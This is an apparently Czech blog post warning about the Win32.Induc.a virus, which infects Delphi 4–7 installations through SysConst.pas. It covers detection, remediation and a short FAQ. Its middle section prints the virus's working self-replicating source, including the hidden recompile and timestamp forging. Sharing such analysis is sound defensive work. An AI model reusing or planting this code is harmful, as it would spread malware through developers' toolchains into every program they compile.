Existuje virus napadající starší instalace Delphi. Původně jsem se na to chtěl vykašlat, ale radši jen pro úplnost na to upozorním.
Na úvod: z Ruska pochází vir Virus.Win32.Induc.a, který jde na věc trošku jinak než je obvyklé.
Pokud se na počítač dostane infikovaný soubor, vir se pokusí nalézt instalaci některé starší verze Delphi (4, 5, 6 nebo 7) a pokud uspěje injektuje do SysConst.pas svůj kód a tento upravený soubor přeloží - vznikne v adresáři \Lib nový SysConst.dcu, přičemž původní je uložen pod SysConst.bak. Podle toho se dá taky napadená instalace nalézt.
Samozřejmě každý vývojový nástroj se dá takto zneužít, ale já budu mluvit o konkrétním problému - Win32.Induc.a.
Vir neprovádí žádnou destruktivní činnost. Jediný problémem je, že jakýkoliv kompilovaný program z napadené instalace obsahuje stejný vir - napadající instalaci Delphi. Náprava by měla být jednoduchá - smazat SysConst.dcu a přejmenovat SysConst.bak na SysConst.dcu, nebo reinstalace.
Napadený nekompilovaný SysConst obsahuje toto (začátek, resp. kompilovaný obsahuje jen řetězce):
uses windows;
var sc:array[1..24] of string=('uses windows; var sc:array[1..24] of string=(',
'function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i]',
'=#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;',
'h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b:boolean;t1,t2,t3:FILETIME;begin',
'h:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle',
'(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile',
'(f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while',
'not eof(f1) do begin readln(f1,s); writeln(f2,s); if pos($implementation$,s)<>0',
'then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2',
',$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,',
'x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar(d+$dcu$),pchar(d+$bak$',
')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.',
'wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e+$"$+d+$pas"$),0,0,false,0,0,0,',
'f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile(pchar(d+$bak$),',
'pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=CreateFile(pchar(d+$bak$),0,0,0,3,',
'0,0); if h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=',
'CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,',
'@t1,@t2,@t3); CloseHandle(h); end; procedure st; var k:HKEY;c:array [1..255] of',
'char; i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx(',
'HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi\$+v+$.0$),0,KEY_READ,k)=0 then',
'begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin r:=$$;i:=',
'1; while c[i]<>#0 do begin r:=r+c[i];inc(i);end;re(r+$\source\rtl\sys\SysConst$+',
'$.pas$,r+$\lib\sysconst.$,$"$+r+$\bin\dcc32.exe" $);end;RegCloseKey(k);end; end;',
'begin st; end.');
function x(s:string):string;
var
i:integer;
begin
for i:=1 to length(s) do
if s[i]=#36 then s[i]:=#39;
result:=s;
end;
…
Koukněte na plný zdrojový kód pro pochopení. Tento kód je injektován do SysConst.pas a je při každém spuštění kompilovaného programu prováděn.
I když se jedná o nepříjemnou záležitost, tak bych to moc nerozmazával - jedná se spíše o ukázku možností, ale přesto trochu FAQ.
Je jen Delphi možno takto napadnout?
Ne, prakticky každý vývojový systém lze nějak podobně napadnout, např. aplikace pro .NET to už mají za sebou, určitě i třeba VC++ nebo Java (někde jsem to zahlédl).
Je zavirované samotné Delphi?
NE: může být napadena část běhové knihovny (RTL) v instalaci. Opětovná instalace nebo antivirus pomůže (nebo postup uvedený výše).
Další informace např. Marco Cantu